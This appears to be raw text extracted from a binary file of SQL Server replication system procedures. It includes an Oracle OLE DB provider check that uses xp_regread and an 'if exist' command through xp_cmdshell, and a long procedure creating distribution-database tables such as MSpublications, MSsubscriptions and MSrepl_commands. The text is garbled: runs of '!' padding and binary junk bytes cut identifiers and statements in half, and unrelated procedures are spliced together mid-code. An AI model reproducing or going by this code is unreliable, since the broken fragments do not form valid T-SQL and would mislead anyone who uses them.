            ,@src_cols     int
            ,@this_col     int
            ,@total_col        int
            ,@indkey            int
            ,@fcreatedcolmap    bit
            ,@rc           int
            ,@column          nvarchar(4000)
            ,@thisspname sysname
    declare @colmap table (relativeorder int identity(1,1), colid int)

    -- initialize
    select @spacer = N' '
            ,@indkey = 1
            ,@thisspname = N'sp_MSscript_trigger_assignment'
            ,@fcreatedcolmap = 0
        select @src_cols = max(column_id)
                ,@total_col = count(column_id)
        from sys.columns where object_id = @objid
        exec sys.sp_MSpad_command @cmd output, @indent
        --
        -- check if column Id match relative column order
        -- for trigger scripting
        --
        if (@total_col < @src_cols)
        begin
            --
            -- this table may have altered columns, so when we need to 
            -- set a mapping for using the bitmaps properly as the bitmap
            -- always refers relative column order
            --
            insert into @colmap (colid)
            select column_id from sys.columns where object_id = @objid order by column_id
            if (@@error != 0)
            begin
                raiserror(21499, 16, 5, @thisspname, 'populate', '@colmap', @@error)
                return (1)
            end
            select @fcreatedcolmap = 1
        end

        while (@indkey <= @total_col)
        begin
            --
            -- set the actual column id for this relative order in the bitmap if necessary
            --
            if (@fcreatedcolmap = 1)
            begin
                select @this_col = colid from @colmap 
                where relativeorder = @indkey 
            end
            else
            begin
                select @this_col = @indkey
            end
            --
            -- Get column name
            --
            exec @rc = sys.sp_MSget_colinfo @objid, @this_col, null, 0, @colname output, @ccoltype output
            if @rc = 0  and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed<>1)
            begin
                -- Optimization:
                -- Get null or actual column name
                -- Note: the output is quoted.
                exec sys.sp_MSget_synctran_column 
                    @ts_col = @ts_col,
                    @op_type = @op_type, -- 'ins, 'upd', 'del'
                    @is_new = @is_new,
                    @primary_key_bitmap = @primary_key_bitmap,
                    @colname = @colname,
                    @this_col = @this_col,
                    @column = @column output,
                    @from_proc = 0, 
                    @coltype = NULL, 
                    @type = NULL,
                    @art_col = @indkey

                    select @cmd = @cmd + @spacer + N'@c' + 
                        convert(nvarchar(4), @this_col) + isnull(@postfix, N'')  
                    --
                    -- special processing for xml
                    --
                    if (@ccoltype = 'xml')
                    begin
                        select @cmd = @cmd + N' = cast(' + @column + N' as nvarchar(max))'
                    end
                    else
                    begin
                        select @cmd = @cmd + N' = ' + @column
                    end
                
            select @spacer = N','
            end
            exec sys.sp_MSflush_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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	wS-_h$0P 	8--
-- Name: sp_MSrepl_verify_oracle_provider_isregistered
--
-- Descriptions: Verify that the Oracle OLEDB provider OraOLEDB.Oracle is registered and the the named DLL exists.
--
-- Parameters: as defined in create statement
--
-- Security: 
-- Requires Certificate signature for catalog access
--
-- Returns: 0 - success
--          1 - Otherwise
--
CREATE procedure sys.sp_MSrepl_verify_oracle_provider_isregistered
AS
	SET NOCOUNT ON

	DECLARE @retcode  int
	DECLARE @regkey nvarchar(100)
	DECLARE @command nvarchar(4000)
	DECLARE @CLSIDRegName sysname
	DECLARE @CLSID nvarchar(100)
	DECLARE @InprocServer32RegName  sysname
	DECLARE @InprocServer32 nvarchar(4000)
	DECLARE @echo_text nvarchar(20)

	-- set registry key for Oracle CLSID  
	SELECT @regkey = 'OraOLEDB.Oracle\CLSID'

	-- read the CLSID value
	SELECT @CLSIDRegName = null	
	SELECT @CLSID = null
	EXECUTE @retcode = master.dbo.xp_regread 'HKEY_CLASSES_ROOT', 
		@regkey,
		@CLSIDRegName,					
		@param = @CLSID OUTPUT

	IF(@retcode <> 0)
	BEGIN
		RAISERROR(21629, 16, -1)
		RETURN(1)
	END    

	-- set registry key for Oracle provider path  
	SELECT @regkey = 'CLSID\' + sys.fn_escapecmdshellsymbolsremovequotes(@CLSID) collate database_default + '\InprocServer32'

	-- read the InprocServer32 value
	SELECT @InprocServer32RegName = null	
	SELECT @InprocServer32 = null
	EXECUTE @retcode = master.dbo.xp_regread 'HKEY_CLASSES_ROOT', 
		@regkey,
		@InprocServer32RegName,					
		@param = @InprocServer32 OUTPUT

	IF(@retcode <> 0)
	BEGIN
		RAISERROR(21629, 16, -1)
		RETURN(1)
	END    
	
	-- The registry key is not set so error as well.
	IF(@InprocServer32 is null)
	BEGIN
		RAISERROR(21629, 16, -1)
		RETURN(1)
	END

	select @echo_text = N'file_exists'

	select @command = N'if exist "' + sys.fn_escapecmdshellsymbolsremovequotes(@InprocServer32) collate database_default + N'" echo ' + @echo_text

	create table #text_ret(cmdoutput nvarchar(255) collate database_default null)

	insert into #text_ret exec @retcode = master.dbo.xp_cmdshell @command
	IF @@error <> 0 or @retcode <> 0
	BEGIN
		drop table #text_ret
		RAISERROR(21624, 16, -1)
		RETURN(1)
	END

	IF exists (select * from #text_ret where ltrim(rtrim(cmdoutput)) = @echo_text)
	BEGIN
		drop table #text_ret
		RETURN(0)
	END
	ELSE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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(x*
"vTcreate procedure sys.sp_MScreate_dist_tables
AS
begin
    DECLARE @Cmd varchar(4000)

   -- Only sysadmin and db_owner of a distribution database are allowed
   -- to create replication tables in the distribution database 
   if (is_srvrolemember('sysadmin') <> 1  and
       is_member('db_owner') <> 1)
   begin
      raiserror(21050, 14, -1)
      return (1)
   end

    --
    -- create replmonitor role if it does not exist
    --
    if not exists (select * from sys.database_principals 
                where name = N'replmonitor' and type = 'R')
    begin
        EXEC  dbo.sp_addrole 'replmonitor'
    end

   /*
   ** Important:  
   ** We use varbinary(16) for xact_id and xact_seqno, we don't want ending nulls
   ** to be truncated by the server
   **
   ** Also, in MSrepl_commands, we don't want ending space to be truncated.  
   */
   SET ANSI_PADDING ON
   
   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSredirected_publishers' and type = 'U')
   BEGIN
      /****************************************************************************/
      raiserror('Creating table MSredirected_publishers', 0,1)
      /****************************************************************************/
      CREATE TABLE dbo.MSredirected_publishers
      (
      original_publisher   sysname NOT NULL,
      publisher_db         sysname NOT NULL,     
      redirected_publisher sysname NOT NULL
      )
      CREATE UNIQUE CLUSTERED INDEX ucMSredirected_publishers ON dbo.MSredirected_publishers
                    (original_publisher, publisher_db)
                    
      exec dbo.sp_MS_marksystemobject 'MSredirected_publishers'
      
    END   

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSrepl_version' and type = 'U')
   BEGIN
      /****************************************************************************/
      raiserror('Creating table MSrepl_version', 0,1)
      /****************************************************************************/
      CREATE TABLE dbo.MSrepl_version
      (
      major_version int NOT NULL,
      minor_version int NOT NULL,
      revision int NOT NULL,
      db_existed bit NULL
      )
      CREATE UNIQUE CLUSTERED INDEX ucMSrepl_version ON dbo.MSrepl_version
                    (major_version, minor_version, revision)
    
      exec dbo.sp_MS_marksystemobject 'MSrepl_version'
      
      INSERT INTO MSrepl_version VALUES (7,0,0,0)
   END

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSpublisher_databases' and type = 'U')
   BEGIN
      /****************************************************************************/
      raiserror('Creating table MSpublisher_databases', 0,1)
      /****************************************************************************/
      CREATE TABLE dbo.MSpublisher_databases(
        publisher_id smallint NOT NULL,
        publisher_db sysname NULL,
        id int identity NOT NULL,
        publisher_engine_edition int null
    )
      exec dbo.sp_MS_marksystemobject 'MSpublisher_databases'

      raiserror('Creating clustered index ucMSpublisher_databases', 0,1)
      CREATE UNIQUE CLUSTERED INDEX ucMSpublisher_databases ON dbo.MSpublisher_databases
     (publisher_id, publisher_db, id)
   END
   ELSE
   BEGIN
		IF NOT EXISTS (select * from sys.columns
        where name = 'publisher_engine_edition'
        and object_id=object_id('MSpublisher_databases'))
      BEGIN
         ALTER TABLE MSpublisher_databases ADD publisher_engine_edition int null
      END
   END

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSpublications' and type = 'U')
   BEGIN
      /****************************************************************************/
      raiserror('Creating table MSpublications', 0,1)
      /****************************************************************************/
      CREATE TABLE dbo.MSpublications (
        publisher_id smallint NOT NULL,
        publisher_db sysname NULL,
        publication sysname NOT NULL,
        publication_id int identity NOT NULL,   -- This id IS NOT the same as the SQL Server publisher's
        publication_type int NOT NULL,          -- 0 = Snapshot 1 = Transactional
        thirdparty_flag bit NOT NULL,           -- 0 = SQL Server 1 = Third Party
        independent_agent bit NOT NULL,
        immediate_sync bit NOT NULL,
        allow_push bit NOT NULL,
        allow_pull bit NOT NULL,
        allow_anonymous bit NOT NULL,
        description nvarchar(255) NULL,
        vendor_name nvarchar(100) NULL,
        retention   int NULL,
        sync_method int default 0 NOT NULL,
        allow_subscription_copy bit default 0 not null,
        thirdparty_options int null,
        allow_queued_tran bit default 0 not null,
        options int default 0 not null,
        retention_period_unit	tinyint default 0 not null,
        allow_initialize_from_backup	bit				not null default 0,
        min_autonosync_lsn      varbinary(16) NULL
        )
      exec dbo.sp_MS_marksystemobject 'MSpublications'

     -- publication_id needs to be the first columns in the index. It
     -- is used in sp_MSmaximum_cleanup_seqno.
      raiserror('Creating clustered index ucMSpublications', 0,1)
      CREATE UNIQUE CLUSTERED INDEX ucMSpublications ON dbo.MSpublications
     (publication_id,  publication, publisher_db, publisher_id)
      CREATE UNIQUE INDEX uc2MSpublications ON dbo.MSpublications
     (publication, publisher_db, publisher_id)
   END
   ELSE
   BEGIN
      IF NOT EXISTS (select * from sys.columns
        where name = 'sync_method'
        and object_id=object_id('MSpublications'))
      BEGIN
         ALTER TABLE MSpublications ADD sync_method int default 0 not null
      END

      IF NOT EXISTS (select * from sys.columns
        where name = 'allow_subscription_copy'
        and object_id=object_id('MSpublications'))
      BEGIN
         ALTER TABLE MSpublications ADD allow_subscription_copy bit default 0 not null
      END
      IF NOT EXISTS (select * from sys.columns
        where name = 'thirdparty_options'
        and object_id=object_id('MSpublications'))
      BEGIN
         ALTER TABLE MSpublications ADD thirdparty_options int null
      END

      IF NOT EXISTS (select * from sys.columns
        where name = 'allow_queued_tran'
        and object_id=object_id('MSpublications'))
      BEGIN
         ALTER TABLE MSpublications ADD allow_queued_tran bit default 0 not null
      END

      IF NOT EXISTS (select * from sys.columns
        where name = 'options'
        and object_id=object_id('MSpublications'))
      BEGIN
         exec ('ALTER TABLE MSpublications ADD options int default 0 not null')
         -- Set enabled for het sub bit in options column if sync_method = 1
         exec ('update MSpublications set options = 0x4 where sync_method = 1')
      END

      IF NOT EXISTS (select * from sys.columns
        where name = 'allow_initialize_from_backup'
        and object_id=object_id('MSpublications'))
      BEGIN
         ALTER TABLE MSpublications ADD allow_initialize_from_backup bit default 0 not null
      END

      IF NOT EXISTS (select * from sys.columns
        where name = 'min_autonosync_lsn'
        and object_id=object_id('MSpublications'))
      BEGIN
         ALTER TABLE MSpublications ADD min_autonosync_lsn varbinary(16) NULL
      END

    END


	IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSarticles' and type = 'U')
	BEGIN
		/****************************************************************************/
		raiserror('Creating table MSarticles', 0,1)
		/****************************************************************************/
		CREATE TABLE dbo.MSarticles (
			publisher_id smallint NOT NULL,
			publisher_db sysname NULL,
			publication_id int NOT NULL,
			article sysname NOT NULL,
			article_id int NOT NULL,            !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(y*/KFEvT                -- This id is the same as a SQL Server Publisher's
			destination_object sysname NULL,
			source_owner    sysname NULL,
			source_object sysname NULL,
			description nvarchar(255) NULL,
			destination_owner sysname NULL
		)   

		exec dbo.sp_MS_marksystemobject 'MSarticles'

	  	raiserror('Creating clustered index ucMSarticles', 0,1)
	  	CREATE UNIQUE CLUSTERED INDEX ucMSarticles ON dbo.MSarticles (publisher_db, publisher_id, article_id, article, publication_id)
	END
	ELSE
	BEGIN
		IF NOT EXISTS(select * from sys.columns 
						where object_id = object_id(N'MSarticles') 
							and name = N'destination_owner')
		BEGIN
			ALTER TABLE MSarticles ADD destination_owner sysname NULL
		END
	END

    IF NOT EXISTS( SELECT * from sys.objects WHERE name = 'MSsync_states' )
    BEGIN
        CREATE TABLE dbo.MSsync_states
        (
            publisher_id smallint not null,
            publisher_db sysname not null,
            publication_id int not null 
        )
        exec dbo.sp_MS_marksystemobject 'MSsync_states'

        CREATE UNIQUE CLUSTERED INDEX ucMSsyncstates on dbo.MSsync_states
        ( publisher_id, publisher_db, publication_id )
    END

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSsubscriptions' and type = 'U')
   BEGIN
      /****************************************************************************/
      raiserror('Creating table MSsubscriptions', 0,1)
      /****************************************************************************/
       CREATE TABLE dbo.MSsubscriptions
      (
        publisher_database_id int NOT NULL,         -- Used to reference MSrepl_transactions and MSrepl_commands
        publisher_id smallint NOT NULL,
        publisher_db sysname NOT NULL,
        publication_id int NOT NULL,
        article_id int NOT NULL,
        subscriber_id smallint NOT NULL,
        subscriber_db sysname NOT NULL,
        subscription_type int NOT NULL,         -- 0 = push, 1 = pull, 2 = anonymous 
        sync_type tinyint NOT NULL,                 -- 1 = automatic 2 = no sync
        status tinyint NOT NULL,                        -- 0 = inactive, 1 = subscribed, 2 = active 
        subscription_seqno varbinary(16) NOT NULL,  -- publisher's database sequence number 
        snapshot_seqno_flag bit NOT NULL,               -- 1 if subscription_seqno is the snapshot seqno
        independent_agent bit NOT NULL,             -- Value carried over from MSpublications
        subscription_time datetime NOT NULL, 
        loopback_detection bit NOT NULL,  
        agent_id int NOT NULL,
        update_mode tinyint NOT NULL,  -- 0 = read only, 1 = sync tran, 2 = queued tran, 3 = failover, 4 = sqlqueued tran, 
                                                       -- 5 = sqlqueued failover, 6 = sqlqueued qfailover, 7 = qfailover
        publisher_seqno varbinary(16) NOT NULL,
        ss_cplt_seqno   varbinary(16) NOT NULL,
        nosync_type     tinyint DEFAULT 0   NOT NULL -- 0(none), 1(replication support only), 2(initialize with backup), 3(initialize from lsn) 
      )

      exec dbo.sp_MS_marksystemobject 'MSsubscriptions'

      raiserror('Creating clustered index ucMSsubscirptions', 0,1)
      CREATE UNIQUE CLUSTERED INDEX ucMSsubscriptions ON dbo.MSsubscriptions
      (agent_id, article_id)

      -- Index used by sp_MSdelete_publisherdb_trans
      raiserror('Creating index iMSsubscriptions', 0,1)
      CREATE INDEX iMSsubscriptions ON dbo.MSsubscriptions
      (publisher_database_id, article_id, subscriber_id, subscriber_db, publication_id, publisher_db, publisher_id)
    END
    ELSE
    BEGIN
        if not exists ( select * from sys.columns 
                        where object_id = object_id( N'MSsubscriptions' ) 
                        and name = N'ss_cplt_seqno' )
        begin               
            exec ('alter table MSsubscriptions add ss_cplt_seqno varbinary(16) NULL')
            exec ('update MSsubscriptions set ss_cplt_seqno = publisher_seqno')
            exec ('alter table MSsubscriptions alter column ss_cplt_seqno varbinary(16) NOT NULL')
        end
    END

   -- For beta 3 upgrade, we need to create new index here.
   if not exists (select * from sysindexes where name = 'iMSsubscriptions2')
   begin
      -- Index used by sp_MSdelete_publisherdb_trans
      raiserror('Creating index iMSsubscriptions2', 0,1)
      CREATE INDEX iMSsubscriptions2 ON dbo.MSsubscriptions
      (publisher_database_id, subscription_seqno)
   end

   
   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSmerge_subscriptions' and type = 'U')
   BEGIN
      /****************************************************************************/
      raiserror('Creating table MSmerge_subscriptions', 0,1)
      /****************************************************************************/
       CREATE TABLE dbo.MSmerge_subscriptions
      (
        publisher_id smallint NOT NULL,
        publisher_db sysname NULL,
        publication_id int NOT NULL,
        subscriber_id smallint NULL,
        subscriber_db sysname NULL,
        subscription_type int NULL,         -- 0 = push, 1 = pull, 2 = anonymous 
        sync_type tinyint NOT NULL,                 -- 1 = automatic 2 = no sync
        status tinyint NOT NULL,                        -- 0 = inactive, 1 = subscribed, 2 = active 
        subscription_time datetime NOT NULL,
        description nvarchar(255) NULL,
        publisher sysname NULL,
        subscriber sysname NULL,
        subid uniqueidentifier NOT NULL,
        subscriber_version int NULL
      )
      exec dbo.sp_MS_marksystemobject 'MSmerge_subscriptions'

      raiserror('Creating clustered index ucMSmerge_subscriptions', 0,1)
      CREATE UNIQUE CLUSTERED INDEX ucMSmerge_subscriptions ON dbo.MSmerge_subscriptions(subid)
      
      CREATE UNIQUE INDEX unc1MSmerge_subscriptions ON dbo.MSmerge_subscriptions
		(subscriber, subscriber_db, publisher_id, publisher_db, publication_id)
     
   END
   else
	begin
	    /*
	     * Call proc to upgrade MSmerge_subscriptions
	    */
		exec sp_MSmerge_subscriptions_upgrade
	    if @@error <> 0
	       	return(1)
	
   END


   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSrepl_transactions' and type = 'U')
   BEGIN
      /****************************************************************************/
      raiserror('Creating table MSrepl_transactions', 0,1)
      /****************************************************************************/
      CREATE TABLE dbo.MSrepl_transactions
      (
      publisher_database_id int NOT NULL,
      xact_id varbinary(16) NULL,
      xact_seqno varbinary (16 )  NOT NULL,
      entry_time datetime  NOT NULL
      )

      exec dbo.sp_MS_marksystemobject 'MSrepl_transactions'

      raiserror('Creating clustered index usMSrepl_transactions', 0,1)
      CREATE UNIQUE CLUSTERED INDEX ucMSrepl_transactions ON dbo.MSrepl_transactions
         (publisher_database_id, xact_seqno)
         WITH STATISTICS_NORECOMPUTE

      CREATE STATISTICS stat_publisher_database_id
         ON MSrepl_transactions (publisher_database_id)
        WITH NORECOMPUTE

      CREATE STATISTICS stat_xact_id
         ON MSrepl_transactions (xact_id)
         WITH NORECOMPUTE

      CREATE STATISTICS stat_xact_seqno
         ON MSrepl_transactions (xact_seqno)
         WITH NORECOMPUTE

      CREATE STATISTICS stat_entry_time
         ON MSrepl_transactions (entry_time)
         WITH NORECOMPUTE

   END

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSrepl_commands' and type = 'U')
   BEGIN

      /****************************************************************************/
      raiserror('Creating table MSrepl_commands', 0,1)
      /****************************************************************************/


      CREATE TABLE dbo.MSrepl_commands (
	      publisher_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(z* RvTdatabase_id int not null,
	      xact_seqno varbinary(16) not null,
	      type int not null, 
	      article_id int not null,
	      originator_id int not null,
	      command_id int not null,
	      partial_command bit not null,
	      command varbinary(1024) NULL,
	      hashkey int default 0,
	      originator_lsn varbinary(16) NULL
      )


      exec dbo.sp_MS_marksystemobject 'MSrepl_commands'

      raiserror('Creating clusterd index ucMSrepl_commands', 0,1)
      CREATE UNIQUE CLUSTERED INDEX ucMSrepl_commands ON dbo.MSrepl_commands
         (publisher_database_id, xact_seqno, command_id)
         WITH STATISTICS_NORECOMPUTE

	  -- CREATE INDEX uncMSrepl_commands_originator ON dbo.MSrepl_commands 
	  -- (originator_id, originator_lsn)
	 
      CREATE STATISTICS stat_xact_seqno
         ON MSrepl_commands (xact_seqno)
         WITH NORECOMPUTE

      CREATE STATISTICS stat_type
         ON MSrepl_commands (type)
         WITH NORECOMPUTE

      CREATE STATISTICS stat_article_id
         ON MSrepl_commands (article_id)
         WITH NORECOMPUTE

      CREATE STATISTICS stat_originator_id
         ON MSrepl_commands (originator_id)
         WITH NORECOMPUTE

      CREATE STATISTICS stat_command_id
         ON MSrepl_commands (command_id)
         WITH NORECOMPUTE

      CREATE STATISTICS stat_partial_command
         ON MSrepl_commands (partial_command)
         WITH NORECOMPUTE

   END
   ELSE
   BEGIN
      IF NOT EXISTS (select * from sys.columns
        where name = 'hashkey'
        and object_id=object_id('MSrepl_commands'))
      BEGIN         
         ALTER TABLE MSrepl_commands ADD hashkey int default 0
      END

      IF NOT EXISTS (select * from sys.columns
        where name = 'originator_lsn'
        and object_id=object_id('MSrepl_commands'))
      BEGIN         
         ALTER TABLE MSrepl_commands ADD originator_lsn varbinary(16) NULL
      END
   END

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSrepl_originators' and type = 'U')
   BEGIN
      /****************************************************************************/
      raiserror('Creating table MSrepl_orginators', 0,1)
      /****************************************************************************/
      CREATE TABLE dbo.MSrepl_originators
      (
	      id 					int identity not null,
	      publisher_database_id int not null,
	      srvname   			sysname not null,
	      dbname    			sysname not null,
		  publication_id 		int NULL,
		  dbversion 			int NULL
      )

      exec dbo.sp_MS_marksystemobject 'MSrepl_originators'

      raiserror('Creating clustered index usMSrepl_originators', 0,1)
      CREATE UNIQUE CLUSTERED INDEX ucMSrepl_originators ON dbo.MSrepl_originators
         (id, srvname, dbname, publication_id, dbversion)
   END
   ELSE
   BEGIN
   	  IF NOT EXISTS (select * from sys.columns
        where name = 'publication_id'
        and object_id=object_id('MSrepl_originators'))
      BEGIN         
         ALTER TABLE MSrepl_originators ADD publication_id int NULL
      END
      
	  IF NOT EXISTS (select * from sys.columns
        where name = 'dbversion'
        and object_id=object_id('MSrepl_originators'))
      BEGIN         
         ALTER TABLE MSrepl_originators ADD dbversion int NULL
      END

	  raiserror('Creating clustered index usMSrepl_originators', 0,1)
      CREATE UNIQUE CLUSTERED INDEX ucMSrepl_originators ON dbo.MSrepl_originators
         (id, srvname, dbname, publication_id, dbversion)
	  WITH DROP_EXISTING 
   END
	
   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSsubscriber_info' and type = 'U')
   BEGIN
      /****************************************************************************/
      raiserror('Creating table MSsubscriber_info', 0,1)
      /****************************************************************************/
      CREATE TABLE dbo.MSsubscriber_info
      (
      publisher  sysname NOT NULL,
      subscriber  sysname NOT NULL,
      type tinyint NOT NULL,           /* 0: MS SQL Server 1: ODBC Data Source */
      login sysname NULL,
      password nvarchar(524) NULL,
      description nvarchar(510) NULL,
      security_mode int NOT NULL
      )

      exec dbo.sp_MS_marksystemobject 'MSsubscriber_info'

      raiserror('Creating clustered index ucMSsubscriber_info', 0,1)
      CREATE UNIQUE CLUSTERED INDEX ucMSsubscriber_info ON dbo.MSsubscriber_info
     (publisher, subscriber)
   END
   ELSE
   BEGIN
      IF NOT EXISTS (select * from sys.columns
        where name = 'password'
        and object_id=object_id('MSsubscriber_info'))
      BEGIN
         ALTER TABLE MSsubscriber_info ADD password nvarchar (524) NULL
      END
      ELSE
      BEGIN
         ALTER TABLE MSsubscriber_info ALTER COLUMN password nvarchar (524) NULL
      END
      
      IF NOT EXISTS (select * from sys.columns
        where name = 'description'
        and object_id=object_id('MSsubscriber_info'))
      BEGIN
         ALTER TABLE MSsubscriber_info ADD description nvarchar (510) NULL
         UPDATE MSsubscriber_info SET description = 'SQL Server 6.0'
      END
      ELSE
      BEGIN
         ALTER TABLE MSsubscriber_info ALTER COLUMN description nvarchar (510) NULL
      END
   END

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSsubscriber_schedule' and type = 'U')
   BEGIN
         raiserror('Creating table MSsubscriber_schedule', 0,1)
         
        CREATE TABLE dbo.MSsubscriber_schedule
        (
            publisher  sysname NOT NULL,
            subscriber  sysname NOT NULL,
            agent_type      smallint NOT NULL,   -- 0 for distribution agent, 1 for merge agent
            frequency_type int NOT NULL,
            frequency_interval int NOT NULL,
            frequency_relative_interval int NOT NULL,
            frequency_recurrence_factor int NOT NULL,
            frequency_subday int NOT NULL,
            frequency_subday_interval int NOT NULL,
            active_start_time_of_day int NOT NULL,
            active_end_time_of_day int NOT NULL,
            active_start_date int NOT NULL,
            active_end_date int NOT NULL
        )
      exec dbo.sp_MS_marksystemobject 'MSsubscriber_schedule'

        CREATE UNIQUE CLUSTERED INDEX ucMSsubscriber_schedule ON dbo.MSsubscriber_schedule
     (publisher, subscriber, agent_type)
     
    END

   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSsnapshot_history' and type = 'U')
   BEGIN
        /****************************************************************************/
         raiserror('Creating table MSsnapshot_history', 0,1)
        /****************************************************************************/
        CREATE TABLE dbo.MSsnapshot_history 
        (
        agent_id int NOT NULL,
        runstatus int NOT NULL,
        start_time datetime NOT NULL,        
        time datetime NOT NULL,    
        duration int NOT NULL,            
        comments nvarchar(1000) NOT NULL,

        -- Session summary statistics
        delivered_transactions int NOT NULL,
        delivered_commands int NOT NULL,
        delivery_rate float NOT NULL,

        error_id int NOT NULL,
        timestamp NOT NULL
    )

      exec dbo.sp_MS_marksystemobject 'MSsnapshot_history'

     raiserror('Creating clustered index ucMSsnapshot_history', 0,1)
    CREATE UNIQUE CLUSTERED INDEX ucMSsnapshot_history ON dbo.MSsnapshot_history
        (agent_id, timestamp, start_time, time)

   END
   ELSE 
   BEGIN
       if exists (select * from sysindexes where name = 'nc1MSsnapshot_history' and id=object_id('MSsnapshot_history'))
	begin
	    drop index MSsnapshot_history.nc1MSsnapshot_history
	end
       if exists (select * from sys.columns where name = 'comments' and object_id=object_id('MSsnapshot_history'))
       begin 
	    alter table MSsnapsh!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<({*"߁ԚvTot_history alter column comments nvarchar(1000) NOT NULL
       end
   END
   
   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSlogreader_history' and type = 'U')
   BEGIN
        /****************************************************************************/
        raiserror('Creating table MSlogreader_history', 0,1)
        /****************************************************************************/    
        CREATE TABLE dbo.MSlogreader_history
        (
        agent_id int NOT NULL,
        runstatus int NOT NULL,
        start_time datetime NOT NULL,
        time datetime NOT NULL,
        duration int NOT NULL,
        comments nvarchar(4000) NOT NULL,
        xact_seqno varbinary(16) NULL,

        -- Session summary statistics
        delivery_time int NOT NULL,
        delivered_transactions int NOT NULL,
        delivered_commands int NOT NULL,
        average_commands int NOT NULL,
        delivery_rate float NOT NULL,
        delivery_latency int NOT NULL,

        error_id int NOT NULL,
        timestamp NOT NULL,
        updateable_row bit NOT NULL default 0
        )

      exec dbo.sp_MS_marksystemobject 'MSlogreader_history'

    raiserror('Creating clustered index ucMSlogreader_history', 0,1)
    CREATE UNIQUE CLUSTERED INDEX ucMSlogreader_history ON dbo.MSlogreader_history
        (agent_id, timestamp, runstatus, start_time, time) 

   END
   ELSE
   BEGIN
        if exists (select * from sysindexes where name = 'nc1MSlogreader_history' and id=object_id('MSlogreader_history'))
	begin
	    drop index MSlogreader_history.nc1MSlogreader_history
	end
       if exists (select * from sys.columns where name = 'comments' and object_id=object_id('MSlogreader_history'))
       begin 
	    alter table MSlogreader_history alter column comments nvarchar(4000) NOT NULL
       end	
       if not exists (select * from sys.columns where name = 'updateable_row' and object_id=object_id('MSlogreader_history'))
       begin 
	    alter table MSlogreader_history add updateable_row bit NOT NULL default 0
       end	
   END
   
   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSdistribution_history' and type = 'U')
   BEGIN
        /****************************************************************************/
          raiserror('Creating table MSdistribution_history', 0,1)
        /****************************************************************************/    

        CREATE TABLE dbo.MSdistribution_history
        (
        agent_id int NOT NULL,
        runstatus int NOT NULL,
        start_time datetime NOT NULL,
        time datetime NOT NULL,
        duration int NOT NULL,
        comments nvarchar(max) NOT NULL,
        xact_seqno varbinary(16) NULL,

        -- Current statistics
        current_delivery_rate float NOT NULL,
        current_delivery_latency int NOT NULL,

        -- Session summary statistics
        delivered_transactions int NOT NULL,
        delivered_commands int NOT NULL,
        average_commands int NOT NULL,
        delivery_rate float NOT NULL,       
        delivery_latency int NOT NULL, 

        -- Summary statistics across all sessions
        total_delivered_commands bigint NOT NULL, 

        error_id int NOT NULL,
